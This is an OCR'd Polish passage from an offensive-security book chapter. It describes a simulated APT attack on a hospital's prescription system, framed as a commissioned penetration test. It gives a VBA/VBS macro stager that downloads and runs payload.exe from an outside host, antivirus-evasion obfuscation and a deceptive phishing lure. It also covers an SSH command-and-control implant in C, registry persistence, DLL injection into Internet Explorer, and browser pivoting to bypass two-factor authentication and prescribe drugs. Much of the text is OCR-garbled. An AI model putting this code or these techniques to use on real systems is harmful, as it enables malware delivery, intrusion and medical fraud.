niedogodnosci jak z poprzednimi — s3 podejrzane i na pewno wywolajg alarm.

Krétko méwiac, systemy wykrywania wiruséw i innych szkodliwych programéw majg bardzo
ograniczone zaufanie do makr pakietu MS Offce, ktdre od lat s3 wykorzystywane przez napastnikdéw
do dostarczania tadunkéw do komputeréw potencjalnych ofiar. Dlatego aby odnies¢ sukces, musimy
wykazaé nieco inwengji. A gdybym Ci powiedzial, ze istnieje sposob na zainstalowanie pakietu ataku
na dysku i wykonanie go bez uzywania shellcode’u ani aktywnego pobierania i wykonywania kodu
za pomocg VBA?

Uzycie podwodjnego stagera VBA/VBS

Nurtujacy nas problem mozemy rozwigzaé, dzielac stager na dwie czeéci. Tu do akcji wkracza
Windows Scripting Host — srodowisko wykonujace skrypty, ktore takze oparte s3 na bazie jezyka
Visual Basic. Podczas gdy jezyk VBA jest uzywany tylko w dokumentach pakietu Office, VBS jest
samodzielnym jezykiem skryptowym, podobnie jak Python czy Ruby. Stuzy do wykonywania znacznie
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bardziej zaawansowanych zadan niz automatyzacja funkcjonalnoéci dokumentéw MS Office. Dlatego
tez programy antywirusowe pozostawiaja mu znacznie szersze pole do dziatania. Tak jak VBA VBS
jest jezykiem interpretowanym, a wigc nie wymaga kompilacji, a napisany w nim kod mozna wywotaé
ze zwyklego pliku tekstowego. Zatem doskonatym rozwigzaniem jest napisanie pozornie niewinnego
makra w VBA zawierajacego fadunek w postaci kodu VBS, ktory zapisuje do pliku, po czym go wyko-
nuje. Newralgiczne instrukcje zostang wykonane dopiero przez ten kod VBS. Wprawdzie w tym
przypadku réwniez konieczne bedzie uzycie funkeji powloki w VBA, ale nie do wykonania podej-
rzanego czy nieznanego kodu, tylko w zwigzku ze $rodowiskiem Windows Scripting Host, ktére
jest integralng czeécia systemu operacyjnego. Méwiac krétko, potrzebujemy wiec dwoch skryptow
— jednego w VBA, a drugiego w VBS — z ktorych oba przejda kontrolg antywirusows. Podprocedura
w makrze VBA powinna wyglada¢ mniej wiecej tak:

Sub WritePayload()
Dim PayLoadFile As Integer
Dim FilePath As String
FilePath = "C:\temp\payload.vbs"
PayloadFile = FreeFile
Open FilePath For OQutput As TextFile
Print #PaylLoadFile, "Pierwszy wiersz skryptu VBS."
Print #PayLoadFile, "Drugi wiersz skryptu VBS."
Print #PaylLoadFile, "Trzeci wiersz skryptu VBS."
Print #PaylLoadFile, "Czwarty wiersz skryptu VBS."
Close PayloadFile
Shell "wscript c:\temp\payload.vbs"
End Sub

Staraj sie pisac jak najbardziej ogéiny kod
Nie mam tu na mysli zadnych skomplikowanych rzeczy. Nawiasem méwiac, stowo payload (fadunek)
jest uzywane tylko w ramach przyktadu i nie powinno go by¢ w prawdziwym kodzie. Dodatkowg
zaletg niespecyficznego kodu jest to, ze bedzie wymagat tylko drobnych modyfikacji, w razie gdyby-
$my zdecydowali si¢ przenie$¢ atak z platformy Windows na macOS.

Jesli chodzi o sam kod VBS, ponizszy skrypt nalezy wstawi¢ do instrukeji print i mamy gotowy
atak. Sposob ten wymyslitem na potrzeby przykladu, ale tak naprawde jest tyle metod, ilu programistow:

HTTPDownload "http://www.wherever.com/files/payload.exe", "C:\temp"
Sub HTTPDownload( myURL, myPath )

Dim i, objFile, objFSO, objHTTP, strFile, strMsg

Const ForReading = 1, ForWriting = 2, ForAppending = 8

Set objFSO = CreateObject( "Scripting.FileSystemObject" )

If objFSO.FolderExists( myPath ) Then
strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(

myURL, "/" ) + 1))

Elself objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\") - 1) ) Then
strFile = myPath

End If

Set objFile = objFS0.0OpenTextFile( strFile, ForWriting, True )

Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )

objHTTP.Open "GET", myURL, False

objHTTP.Send
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For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1) ) )
Next
objFile.Close( )
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "c:\temp\payload.exe"
End Sub

Oczywiscie kazdy, kto przeczyta ten kod VBA, szybko domysli sie jego przeznaczenia, dlatego
w prawdziwym ataku przydaloby si¢ jeszcze go troche zaciemnié. Poza tym nie trzeba stosowaé az
tak skomplikowanych sztuczek, aby pobra¢ i wykona¢ plik wykonywalny. Za pomoca polecen po-
wloki mozna wywolywa¢ rézne narzedzia dostepne w systemie Windows, dzigki czemu calg operacje
mozna przeprowadzi¢ przy uzyciu jednego polecenia (pokazuj¢ nawet, jak sie to robi, w rozdziale 5.,
w podrozdziale ,,Powr6t do VBA — alternatywne wektory ataku przez wiersz polecen”), ale chcialem
znalez¢ jakie$ uzasadnienie dla uzycia skryptu VBA do podrzucenia skryptu VBS.

Zaciemnianie kodu

Jest kilka metod zaciemniania kodu. Na potrzeby tego ¢wiczenia tres¢ tadunku mogliby$my zakodo-
wac¢ algorytmem Base64, a nastepnie mogliby$my ja dekodowa¢ bezposrednio przed zapisem w pliku
docelowym. To prymitywna technika, ale dobrze obrazuje, co chce pokaza¢. Kiedy atak za posred-
nictwem makra zostanie wykryty przez czlowieka, a nie program antywirusowy i przeprowadzi on
fachowgq analize znaleziska, to zadne zaciemnianie nie pomoze nam ukry¢ prawdziwych intencji
naszego kodu.

Jesli chcesz, mozesz ten kod jeszcze dodatkowo pogmatwac (na przyktad za pomoca funkcji XOR).
Sam zdecyduj, jak daleko chcesz si¢ w tym zakresie posungé, cho¢ nie polecam stosowania platnych
rozwigzan wymagajacych dolaczania do dokumentu zewnetrznych bibliotek, poniewaz z pewnoscia
zostang one wykryte przez antywirus.

Dodajmy zatem drugg czes¢ naszego ataku do pierwszego makra VBA i zobaczmy, co na to
»powiedzg” programy antywirusowe. Tak jak poprzednio skorzystamy z ustug portalu VirusTotal

— rysunek 1.7.
SHA256 b89b0b0ee0695a4971a1d685353cf61cBa5c95a86dd300a691bal1c53382ece4
File name VBA-stage-with-BASE64-payload.docm
Detection ratio
Analysis date 2016-02-19 12:06:52 UTC ( 0 minutes ago )

Rysunek 1.7. Bardzo skryty tadunek

Juz jest lepiej, ale co si¢ stanie z tadunkiem VBS, gdy tylko wyladuje na dysku? Spéjrz na rysu-
nek 1.8.

Kup ksigzke Pole¢ ksiazke


http://helion.pl/page354U~rf/tepeza
http://helion.pl/page354U~rt/tepeza

Wysyfanie tadunku, czes¢ I: jak postugiwac sie makrami VBA 43

SHA256: cdB847f9edbafdiGaf61e7502aa2b1f5d7eaf96e598767¢c2a59980a0759270b73
File name: payload .vbs
Detection ratio:  1/55

Analysis date 2016-02-19 12:10:28 UTC ( 1 minute ago )

& Analysis © Additional information ® Comments Q) Votes

Antivirus Result Update

Qihoo-360 virus.vbs.gen_33 20160219

Rysunek 1.8. Nie, Qihoo-360 nie jest Swietym Graalem wéréd programéw antywirusowych

Ho, ho. Zostalismy wykryci przez antywirus Qihoo-360. To chinski skaner, ktéry podobno cieszy
sie zaufaniem az po6t miliarda uzytkownikéw. Ja tez pierwsze o nim stysze. Oznaczyt nasz kod jako
wirus virus.vbs.gen.33, czyli po prostu stwierdzit, ze jesli to plik VBS, to zostanie uznany za szkodliwy.
Istnieje niewielkie ryzyko, ze kiedy$ wpadniemy w sidfa tego antywirusa, ale wowczas mozemy mie¢
z tym problem.

Do tej pory jeszcze nie zaimplementowaliémy Zadnego mechanizmu wykonywania kodu w chwili
otwarcia dokumentu przez uzytkownika.

Kuszenie uzytkownikow

Z opisanych wczes$niej powoddw nie lubie uzywaé funkeji automatycznego otwierania. Poza tym
uwazam, ze je$li uzytkownik jest na tyle zdeterminowany, ze pozwala w ogoéle na uruchomienie
makr w otwieranym dokumencie, to mozna si¢ spodziewa¢, ze bedzie chcial w nim zrobi¢ co$ wie-
cej, a nie tylko go otworzy¢. Jesli chodzi o nasz atak, spreparowany przez nas plik programu Microsoft
Word bezpo$rednio po otwarciu bedzie wygladat tak, jak wida¢ na rysunku 1.9.

1 OSTRZEZENIE O ZABEZPIECZENIACH Makra zostaty wytgczone. Wiacz zawartosc
7

S

1 2 3 4 3 6 7 g8

Rysunek 1.9. Pusty dokument zawierajacy makro
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Niezbyt to przekonujace, prawda? Pusty dokument proszacy o klikniecie przycisku i prezentu-
jacy napis OSTRZEZENIE O ZABEZPIECZENIACH nie wyglada zachecajaco. Taka przestroga jest
wys$wietlana w kazdym pliku zawierajagcym makra bez wzgledu na to, czy sa one cyfrowo podpisane,
czy nie. Uzytkownikéw nuzy juz ciagla konieczno$¢ klikania tego przycisku, wiec do rozwigzania
pozostaly nam dwa problemy: jak skloni¢ uzytkownika do wykonania naszego kodu oraz jak spre-
parowa¢ dokument zachecajacy do interakeji. Pierwsza kwestia jest natury technicznej, a druga to
zagadnienie z dziedziny inzynierii spolecznej. Jedli napiszemy przekonujaca wiadomo$¢ e-mail (lub
inng), to mamy duzg szans¢ na powodzenie nawet podczas ataku na cele o wysokiej swiadomosci
w zakresie bezpieczenstwa teleinformatycznego.

W ksiegarniach mozna znalez¢ bardzo dobre ksiazki na temat inzynierii spolecznej. Godne polece-
nia sg na przyktad Sztuka podstepu. Lamatem ludzi, nie hasta Kevina Mitnicka (Helion, 2003) i So-
cjotechnika. Sztuka zdobywania wltadzy nad umystami Chrisa Hadnagy’ego (Onepress, 2012).

Zastanéwmy sie wiec nad tym, co moze zacheci¢ uzytkownika do uzywania naszego dokumentu.

Jedna ze szczegblnie skutecznych przynet w naklanianiu uzytkownikéw do otwierania dokumen-
tow i uzywania zawartych w nich makr jest — nawet jesli pod$wiadomo$¢ az krzyczy, ze to blad —
zasugerowanie, Ze dana informacja trafita do nich przez przypadek. Nie powinni si¢ o tym dowiedzie¢.
Jest to co$, dzigki czemu mogliby odnie$¢ pewne korzysci, a wiele straci¢, je$li to zignoruja.

Funkcja automatycznego uzupelniania adreséw w klientach e-mail niejednemu splatata figla, po-
wodujac wystanie wiadomosci do niewlasciwej osoby, i chyba kazdy kiedy$ dostal e-maila, ktéry miat
trafi¢ do kogo$ innego. Po prostu takie rzeczy si¢ zdarzajg. Spojrz na ponizsza wiadomo$¢ e-mail,
ktdra ,,jest przeznaczona dla” Jana Kowalskiego z dzialu HR, ale przez przypadek trafila do dr. Ja-
na Kowalczyka:

Do: dr Jan Kowalczyk

Od: dr Marzena Sktodowska

Temat: POUFNE: druga tura zwolnien grupowych

Janie,

Zataczam najnowsza liste proponowanych redukcji w moim zespole w dziale intensywnej
opieki. Niechetnie pozbywam sie swoich pracownikéw, poniewaz mamy duzo pracy, ale
zafgczona lista moze by¢ punktem wyjsciowym do dalszej dyskusji — bede w biurze w piatek,
wiec prosze o odpowiedz przed tym terminem.

Pozdrawiam,

Marzena

PS. Dokument jest zabezpieczony zgodnie z wytycznymi szpitala. Hasto dostepu to ,arkham”.

To wyjatkowo paskudny rodzaj przynety. Dr Kowalczyk na pewno juz si¢ zastanawia, czy tez
znalazl sie na tej liscie 0s6b do zwolnienia.
Do wiadomosci dotagczony jest nasz dokument z makrem — rysunek 1.10.

1 Nalezy przegladac tylko pliki pochodzace z zaufanego zradia.

Podglad pliku moze nie przedstawiac pelnej zawartosci pliku. Aby zobaczy¢ najpelniejsza 1 najaktualniejsza zawartosc pliku, otworz go.

Podglad pliku

[¥] Zawsze ostrzegaj przed przegladaniem pliku tego typu

Rysunek 1.10. To jest troche bardziej przekonujace
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Teraz dodamy do dokumentu pole tekstowe i przycisk, ktore zostang wyswietlone, gdy uzytkownik
otworzy dokument i wlaczy makra. Z przyciskiem powigzemy kod wysytajacy do komputera ofiary
skrypt VBS, ktory bedzie uruchamiany w chwili naci$niecia tego przycisku i niezaleznie od tego, co
uzytkownik wpisze w polu tekstowym. Potem zostanie wyswietlone okienko z informacjg o tym, ze
podane haslo jest nieprawidlowe, takze bez wzgledu na to, co wpisal uzytkownik.

Dodatkows zaletg takiej konstrukgji ataku jest to, ze (przy zalozeniu, ze alarm nie zostanie podnie-
siony w Zaden inny sposdb, na przyklad przez program antywirusowy) ofiara prawdopodobnie ni-
komu nie zglosi tego zdarzenia, poniewaz nie zechce si¢ przyzna¢, ze otworzyla poufny dokument
przeznaczony dla kogos innego.

Aby przypisa¢ polecenie lub makro do przycisku i wstawi¢ przycisk do tekstu, ustaw kursor w wy-
branym miejscu i wykonaj nastepujace czynnosci:

1. Naci$nij klawisze Ctrl+F9, aby dodac pole.

2. W klamrze, ktéra sie pojawi, wpisz MacroButton, nastepnie dodaj nazwe polecenia
lub makra, ktére chcesz uruchamia¢ za pomocg przycisku.

3. Wpisz tekst, ktory ma zostaé wyswietlony, lub wstaw obraz majacy stuzy¢ jako ikona
przycisku.

4. Naci$nij klawisz F9, aby zaktualizowa¢ pole.

Na konicu podprocedury WritePayload() mozesz ewentualnie doda¢ ponizszy wiersz kodu:

MsgBox "Nieprawidtowe hasto. Jesli sytuacja na koncie uzytkownika " & (Environ$("Username")) &
" bedzie sie powtarza¢, zostanie powiadomiony dziat bezpieczefistwa IT."

Ten kod spowoduje wyswietlenie okienka podszywajacego sie pod informacje bezpieczenstwa.
Dodatek nazwy uzytkownika w tekscie stanowi element personalizacji, ktéry moze zawazy¢ na po-
wodzeniu lub braku powodzenia operacji wysytania tadunku na komputer ofiary.

Dowodzenie i kontrola, czes¢ I: podstawy

Po dokonaniu wyboru sposobu dostarczenia tadunku na komputer ofiary czas powaznie si¢ zastano-
wi¢, co to w ogoéle ma by¢. W tym podrozdziale opisuje absolutnie minimum potrzebne do budowy
infrastruktury dowodzenia i kontroli (ang. Command and Control — C2). W kazdym kolejnym roz-
dziale bede wracal do tego systemu, bede go ulepszal i bede dodawal do niego nowe funkcje, aby
ostatecznie pokaza¢ najwazniejsze skladniki systemu dowodzenia i kontroli potrzebne do prze-
prowadzenia dtugoterminowego ataku APT po udanej wstepnej penetracji systemu ofiary. W tym
rozdziale na razie skupiam sie jednak tylko na podstawach. Ponizej znajduje sie lista podstawowych
funkcji, ktére musi mie¢ nawet najprostszy system dowodzenia i kontroli wdrozony u ofiary:
= Facznos$¢ wychodzaca — system powinien mie¢ mozliwo$¢ nawiazywania polaczenia
internetowego z serwerem C2 w sposdb minimalizujacy wykrycie przez zapore sieciows.
= Dyskrecja — system nie moze zosta¢ wykryty przez hosta ani sieciowe systemy detekcji
intruzéw (ang. Intrusion Detection Systems — 1DS).
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= Dostep do zdalnego systemu plikow — funkcja kopiowania plikéw do i z komputera ofiary
jest absolutnie niezbedna.

= Zdalne wydawanie polecenn — musimy mie¢ mozliwos$¢ zdalnego wykonywania kodu
lub wydawania polecen na komputerze, do ktérego sie wtamalismy.

= Bezpieczna komunikacja — caly ruch miedzy sforsowanym hostem i serwerem C2
musi by¢ zaszyfrowany wysokiej jakosci algorytmem.
= Trwalo$¢ — tadunek musi by¢ w stanie przetrwac restart komputera.

= Przekierowywanie portéw — musimy mie¢ mozliwo$¢ dwukierunkowego kierowania
ruchem przez sforsowanego hosta.

= Watek kontroli — jesli dojdzie do zerwania polfaczenia z serwerem C2 z powodu tymczasowe;j
niedostepnosci sieci lub w innej sytuacji, musimy mie¢ mozliwo$¢ ponownego nawigzania
tego polaczenia.

Najszybszym, najprostszym i najbardziej poruszajacym wyobraznie sposobem budowy z mo-
dulow takiej infrastruktury, ktdra przetrwa probe czasu, jest postuzenie si¢ bezpiecznym i niezwykle
wszechstronnym protokotem SSH. Infrastrukture podzielimy na dwie czgéci — serwer C2 i tadunek
wysylany do ofiary. Ponizej znajduje sie lista technicznych warunkéw, jakie musza spetnia¢ te sktadniki.

Serwer C2
= Obstuga polaczen SSH na porcie TCP 443
= Srodowisko chroot jail do uruchomienia serwera SSH

= Modyfikacja konfiguracji SSH, aby zezwoli¢ na tunelowe nawigzywanie polaczen przez SSH

Eadunek
= Implementacja serwera SSH na niestandardowym porcie TCP
= Implementacja klienta SSH majacego mozliwoé¢ faczenia si¢ z serwerem C2

= Implementacja tuneli SSH (zaréwno lokalnych, jak i dynamicznych) na kliencie SSH
zapewniajacych serwerowi C2 dostep do docelowego systemu plikéw i proceséw

Do implementacji wymagan dotyczacych ladunku goragco polecam uzycie biblioteki libssh
(https://www.libssh.org/) w jezyku C. Przy jej uzyciu mozna pisa¢ bardzo zwigzly kod zapewniajacy
szerokie spektrum mozliwoéci. Ponadto biblioteka ta radykalnie skraca czas programowania. A po-
niewaz jest dostepna dla wielu réznych platform, mozna jej uzywaé do tworzenia fadunkéw, ktore
beda wymagaty tylko drobnych modyfikacji, aby dostosowa¢ je do potrzeb systemu Windows, macOS,
Linux lub Unix. W ramach przykladu ilustrujacego, jak szybko i tatwo pracuje si¢ z biblioteka
libssh, ponizej przedstawiam implementacj¢ serwera SSH dzialajacego na porcie TCP 900. Ten
program wystarczy do ustanowienia uwierzytelnionej sesji klienta SSH (uzywajacego raczej nazwy
uzytkownika i hasta, a nie klucza publicznego):

#include <libssh/1ibssh.h>

#include <stdlib.h>

#include <stdio.h>
#include <windows.h>
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int main()
i
ssh_session my_ssh_session;
int rc;
char *password;
my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
exit(-1);
ssh_options_set(my_ssh_session, SSH OPTIONS HOST, "c2host");
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, 443);
ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "c2user");
rc = ssh_connect(my_ssh_session);
if (verify_knownhost(my ssh session) < 0)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
exit(-1);
1
password = ("Password");
rc = ssh_userauth_password(my_ssh session, NULL, password);
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);

}

To z kolei jest bardzo prosta instancja serwera SSH:

#include "config.h"

#include <libssh/1ibssh.h>

#include <libssh/server.h>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

#include <unistd.h>

#include <windows.h>

static int auth_password(char *user, char *password){
if(strcmp(user,"c2payload"))

return 0;
if(strcmp(password,"c2payload"))
return 0;
return 1; }
ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT_STR, 900)
return 0
} int main(){

sshbind=ssh_bind new();
session=ssh new();
ssh_disconnect(session);
ssh_bind_free(sshbind);
ssh_finalize();
return 0;

}

Na koniec mozna utworzy¢ odwrotny tunel:

rc = ssh_channel listen forward(session, NULL, 1080, NULL);
channel = ssh_channel_accept_forward(session, 200, &port);

Biblioteka libssh ma wbudowane procedury obstugi wyjatkéw pozwalajace monitorowad stan
polaczen.
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Jedyna z wymienionych wczesniej funkgji, ktorej jeszcze nie mamy, to trwatosc. Jest wiele sposo-
béw na zadekowanie tadunku w systemach Microsoft Windows, ale szczegély podaje dopiero w na-
stepnym rozdziale. Teraz tylko przedstawiam prosty przyktad. Nie polecam stosowania tej metody
w prawdziwych zleceniach, poniewaz praktycznie w zadnym stopniu nie zapewnia dyskrecji. Ponizej
znajduje sie kod w jezyku C do wykonania:

char command[100] ;
strcpy( command, " reg.exe add

"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Innoce" );
system(command) ;

Obraz jest wiecej wart niz tysiac stow, wiec spdjrz na rysunek 1.11.

Polaczenie przez SSH
sforsowanego hosta z serwerem (2

==
ﬁ ‘—//(”/_}(/’—ljo(eiowa sta(]a robocza
System Ty /} :

dowodzenia = 55 2 et
i kontroli :

Drugie pofaczenie
w celu uzyskania dostepu Internet
dosystemu plikow SFTP

Pierwsze polaczenie
2 przekierowanym portem
w celu wykonania polecen

[
—

Laptop, z ktdrego wykonywany
jest test penetracyjny

Odwrotny tunel z (2 do
serwera 55H z fadunku

Rysunek 1.11. Schemat podstawowej infrastruktury dowodzenia i kontroli

Dysponujac zdalnym przekierowanym portem, mamy takie same uprawnienia do dziatania w sfor-
sowanym hoécie jak proces uzytkownika, ktéry wlaczyl makro VBA. Za pomocg SFTP i protokotu
SSH mozemy uzyska¢ dostep do systemu plikéw. Aby nasz tadunek uruchomit zdalne tunele, do pliku
/etc/ssh/sshd.config na hoscie C2 nalezy doda¢ nastepujace dwa wiersze kodu:

Match User c2user
GatewayPorts yes

Ta infrastruktura ma kilka powaznych wad. Wymaga utrzymywania ciagtego potaczenia miedzy
tadunkiem i serwerem C2, ktory jest w stanie obstuzy¢ tylko jedno polaczenie (zdalny tunel), przez co
moze wspolpracowac tylko z jednym sforsowanym hostem. Ladunek nie ma wbudowanych zadnych
mechanizméw autonomii czy inteligencji pozwalajacych obstuzy¢ chocby najprostsze nietypowe
przypadki, takie jak potrzeba stworzenia tunelu przez serwer proxy. Jesli jednak dotrwasz do konca
tej ksiazki, zostaniesz nagrodzony nowiutka i I$nigcg inteligentng oraz dyskretna infrastrukturg C2.
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Atak

Wiemy juz, jak zbudowa¢ i dostarczy¢ do komputera ofiary swoj fadunek kodu, ktéry zapewni
nam zdalny dostep do docelowej stacji roboczej, cho¢ w bardzo prymitywny sposéb i w ograniczo-
nym zakresie. Mimo to nasz podstawowy cel si¢ nie zmienil, a jest nim dodanie lub zmodyfikowanie
dokumentacji pacjentéw w rubrykach dotyczacych recept na leki.

Dla przypomnienia, cel naszego ataku uzywa przegladarki Microsoft Internet Explorer (IE), za
pomoca ktdrej loguje sie w aplikacji sieciowej Pharmattix. Aplikacja ta obstuguje tylko te jedna
przegladarke. Mogliby$my podrzuci¢ rejestrator naciskanych klawiszy (ang. key logger), aby przejaé
dane uwierzytelniajace lekarza, ale to nie rozwigzaloby problemu z dwuetapowym uwierzytelnianiem.
Nazwa uzytkownika i haslo to tylko potowa tego, czego potrzebujemy. Druga polowa to karta dostepu
do medycznej bazy danych, ktorg trzeba mie¢ przy sobie podczas logowania. Teoretycznie moglibysmy
zaczail si¢ przy szpitalu na lekarza, napas¢ go i ukras¢ mu portfel (karty z kodami wygodnie mieszcza
sie w portfelu), ale takie zdarzenie nie pozostatoby niezauwazone, a poza tym klient, ktéry zlecit
nam przeprowadzenie modelowania ataku APT, tez pewnie mialby obiekcje co do takich metod
dziatania.

Omijanie uwierzytelniania
A gdybysmy tak mogli catkowicie obejs¢ wszystkie mechanizmy uwierzytelniania? Mozemy! Istnieje
technika o nazwie browser pivoting (obracanie przegladarki), ktéra polega na wykorzystaniu do-
stepu do docelowej stacji roboczej w celu odziedziczenia uprawnien z przegladarki lekarza i prze-
prowadzenia swoich operacji w niewidoczny sposdb.

Do przeprowadzenia takiego ataku potrzebne jest spelnienie trzech warunkéw:

= Musimy wstrzykna¢ kod do procesu IE korzystajacego z bazy danych medycznych.

= Musimy utworzy¢ serwer proxy w postaci biblioteki DLL (ang. Dynamic Link Library)
opartej na API Microsoft WinlInet.

= Musimy znalez¢ sposdb na skierowanie ruchu sieciowego przez nasz tunel SSH, a nastepnie
do nowo utworzonego serwera proxy.

Przyjrzymy sie tym trzem etapom po kolei. Zaden z nich nie jest tak trudny do realizacji, jak sie
moze poczatkowo wydawac.

Etap 1: wstrzykniecie kodu DLL

Wistrzykniecie kodu DLL to czynno$¢ polegajaca na wstawieniu kodu do istniejacego (aktywnego) proce-
su (programu). Najprostszym sposobem jest uzycie funkgji LoadLibraryA() z biblioteki kernel32.dIl. Jej
wywolanie praktycznie wszystko zatatwia, czyli wstawia i wykonuje DLL. Jest tylko taki problem, ze
ta funkcja zarejestruje nasza biblioteke w procesie docelowym, co od razu zaalarmuje programy
antywirusowe (w szczego6lnoéci w tak $cisle monitorowanym srodowisku jak Internet Explorer).

Sq jednak lepsze sposoby. Zastosujemy technike, ktdra mozna podzieli¢ na cztery zasadnicze etapy:
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1. Dolgczenie sie do docelowego procesu (w tym przypadku do Internet Explorera).

2. Alokacja pamieci w tym procesie.

3. Skopiowanie biblioteki DLL do pamigci docelowego procesu i obliczenie odpowiedniego
adresu w tej pamieci.

4. Nakazanie docelowemu procesowi wykonania naszego kodu.

Kazdy z tych krokéw jest dobrze opisany w API Windows.

tqczenie sie z procesem

hHandle = OpenProcess( PROCESS_CREATE_THREAD |

Alokacja pamieci

PROCESS_QUERY_INFORMATION

PROCESS_VM_OPERATION |
PROCESS_VM WRITE |

PROCESS_VM_READ,

FALSE,
proclID );

Alokacja pamieci

GetFullPathName (TEXT("proxy.d11"),

BUFSIZE,
d11Path,
NULL);

hFile = CreateFileA( d11Path,

GENERIC_READ,
0,

NULL,
OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL )3
d11FileLength =
NULL )3
remoteD1TAddr =
NULL,
d11FileLength,

MEM_RESERVE |MEM_

GetFileSize( hFile,

VirtualAllocEx( hProcess,

COMMIT,

PAGE_EXECUTE_READWRITE );

Wstawienie pliku DLL i obliczenie adresu w pamieci

TpBuffer = HeapAlloc( GetProcessHeap(),

ReadFile( hFile,

d11FilelLength);

1pBuffer,
d11FiTeLength,
&dwBytesRead,
NULL )3
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WriteProcessMemory( hProcess,
1pRemoteLibraryBuffer,
1pBuffer,
d11FileLength,
NULL )3
dwReflectiveLoaderOffset = GetReflectivelLoaderOffset(1pWriteBuff);

Uruchomienie kodu proxy DLL

rThread = CreateRemoteThread(hTargetProcHandle, NULL, O,
TpStartExecAddr, 1pExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);

Zalecam zapoznanie si¢ z tym funkcjami API, poniewaz umiejetno$¢ przenoszenia kodu mie-
dzy procesami jest podstawa w zawodzie testera wykonujacego modelowanie atakéw APT i jest wiele
sytuacji, w ktérych ta umiejetnos¢ moze sie przyda¢, chocby na przyklad gdy trzeba obejs¢ bialg liste
proceséw albo przenieé¢ atak do innej architektury badz tez zwigkszy¢ sobie uprawnienia. Powiedzmy
na przyklad, ze chcemy skras¢ dane do logowania do systemu Windows. W takim przypadku mo-
zemy wstrzykna¢ do procesu WinLogon rejestrator naciskanych klawiszy. Pézniej pokazuje tez, jak
podobne techniki zastosowaé w systemach uniksowych. Pamietaj tez, ze jesli nie chcesz przygotowy-
wa¢ wlasnego ataku, mozesz skorzystaé z licznych gotowych atakéw polegajacych na wstrzykiwa-
niu kodu do proceséw. Taka funkcje ma tez srodowisko Metasploit, ktérego zalety i wady opisuje
w nastepnych rozdzialach.

Etap 2: tworzenie biblioteki DLL proxy na podstawie APl Wininet

Wiemy juz, co trzeba zrobi¢, aby wstawi¢ kod do procesu IE, wiec teraz musimy si¢ zastanowié, co
tam wyslemy i dlaczego.

Przegladarka Internet Explorer uzywa API Winlnet tylko do obstugi wszystkich swoich proce-
séw komunikacyjnych. Nie jest to zaskakujace, jesli wezmie si¢ pod uwage fakt, Ze mowa o dwoch
sztandarowych technologiach Microsoftu. Z API WinlInet moze korzysta¢ kazdy program, aby na
przyklad zarzadzaé ciasteczkami i sesjg, procesami uwierzytelniania itd. Interfejs ten ma wszystkie
funkcje potrzebne do implementacji przegladarki internetowej lub podobnej technologii, takiej jak
proxy HTTP. Jako ze Winlnet transparentnie obstuguje uwierzytelnianie w pojedynczych procesach,
to jezeli uda nam si¢ wstrzykna¢ wlasny serwer proxy do docelowego procesu IE i skierowaé nasz
ruch sieciowy przez ten serwer, odziedziczymy stany sesji tej aplikacji. Dotyczy to takze sesji uwie-
rzytelnionych za pomoca mechanizmu dwuetapowego.

IMPLEMENTACJA FUNKCJONALNOSCI SERWERA PROXY

Budowa serwera proxy to zbyt daleko idgca dygresja w stosunku do tematu tej ksigzki,
ale zawsze mozna kupic taki serwer od jednego z licznych producentow tego typu opro-
gramowania. Serwery te sg zaimplementowane wytacznie przy uzyciu APl Winlnet, ktéry
mozna zintegrowac zgodnie ze swoimi potrzebami.
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Etap 3: uzycie wstrzyknigtego serwera proxy

Przyjmujac, ze wszystkie poprzednie czynnosci poszly nam jak z ptatka, mamy juz serwer proxy
HTTP uruchomiony na docelowej maszynie (powiedzmy, ze dziala na porcie TCP 1234) i ograni-
czony do lokalnego interfejsu Ethernet. Jako ze nasza infrastruktura dowodzenia i kontroli nie jest
jeszcze na tyle zaawansowana, aby$my przy jej uzyciu mogli ,,w locie” otwiera¢ zdalne tunele, musimy
wbudowa¢ dodatkowy tunel w nasz fadunek kodu. Na razie naszym jedynym tunelem prowadzacym
do docelowej maszyny jest tunel zapewniajacy dostep do serwera SSH. Potrzebujemy jeszcze zdal-
nego tunelu wskazujacego port w stacji docelowej 1234 i tworzacego punkt konicowy (powiedzmy,
ze port TCP 4321) na naszym serwerze C2. Powinno to wygladac tak, jak wida¢ na rysunku 1.12.

ET—

Odwratny tunel 2 (2 do [:]'
wstrzykni F——— /
yknlftggq dolE proxy y /]

—~ A

Docelowa stacja robocza
zuwierzytelnionym
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Y v k |

( j. uiytkownikiem
LN J
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ikontrola — —

Niewidoczna interaktywna
sesjainternetowa
2 aplikacja sieciowa

Internet

Pharmattix

D
==

f{.m/
—

Laptop, 2 ktdrego wykonywany
jest test penetracyjny

Rysunek 1.12. Kompletny atak z dostepem do dokumentacji medycznej

W tym momencie mozemy juz dodawa¢ nowych pacjentéw i przepisywac im leki, kiedy tylko
chca. Do pobrania lekéw z apteki nie jest potrzebny zaden identyfikator, poniewaz nalezy go okazaé
jedynie podczas tworzenia konta. To oczywiscie tylko pole do zaznaczenia, jedli chodzi o baze danych.
W aptece przed wydaniem metadonu spytaja tylko o date urodzenia.

,Nie ma zadnej chmury, s3 tylko cudze komputery”

— autor nieznany
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Podsumowanie

W tym rozdziale pokazatem Ci, jak za pomoca skryptéw VBA i VBS podrzuci¢ do komputera ofiary
tadunek wspotpracujacy z systemem dowodzenia i kontroli. Pokazatem Ci, jak po umieszczeniu swoje-
go kodu zrédiowego we wladciwym miejscu zinfiltrowaé proces Internet Explorera i obejs¢ dwu-
etapowe uwierzytelnianie bez potrzeby zdobywania nazw uzytkownikéw, hasel ani uzyskiwania
dostepu do fizycznych tokenow.

Nalezy podkresli¢, ze wiele osob uwaza ataki z uzyciem makr za technike z dawnych lat 90.
